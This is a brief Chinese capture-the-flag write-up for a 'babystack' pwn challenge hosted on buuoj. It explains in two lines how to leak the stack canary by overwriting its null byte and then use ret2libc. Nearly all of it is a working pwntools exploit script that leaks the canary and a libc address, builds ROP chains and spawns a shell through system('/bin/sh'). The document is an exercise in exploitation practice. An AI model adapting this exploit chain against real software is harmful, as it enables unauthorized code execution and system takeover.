思路:
通过覆盖canary的截断字符"\x00",从而连带打印出canary
而后就是简单的ret2libc了
exp:
from pwn import *
p = remote("node4.buuoj.cn",26363)
elf = ELF("./babystack")
context.log_level ="debug"
libc = ELF("./libc-2.23.so")
# libc = elf.libc
p.timeout = 0.2
def dbg():
gdb.attach(p)
pause()
pop_rdi = 0x400a93
ret = 0x40067e
puts_plt = 0x400690
puts_got = elf.got["puts"]
main = 0x400908
str = "a"*(0x89)
p.recvuntil(">>")
p.sendline("1")
p.send(str)
p.recvuntil(">>")
p.sendline("2")
p.recvuntil("a"*0x88)
canary = u64(p.recv(8))-0x61
log.success("canary:" +hex(canary))
p.recvuntil(">>")
p.sendline("1")
p.send('a'*0x88 + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main))
p.sendlineafter(">>",'3')
p.recv()
addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = addr - 0x06f6a0
sys = libc_base + 0x0453a0
sh = libc_base + 0x18ce57
log.success("addr:" + hex(addr))
p.recvuntil(">>")
p.sendline("1")
p.send('a'*0x88 + p64(canary) + p64(0) + p64(pop_rdi) + p64(sh) + p64(sys) )
p.sendlineafter(">>",'3')
p.interactive()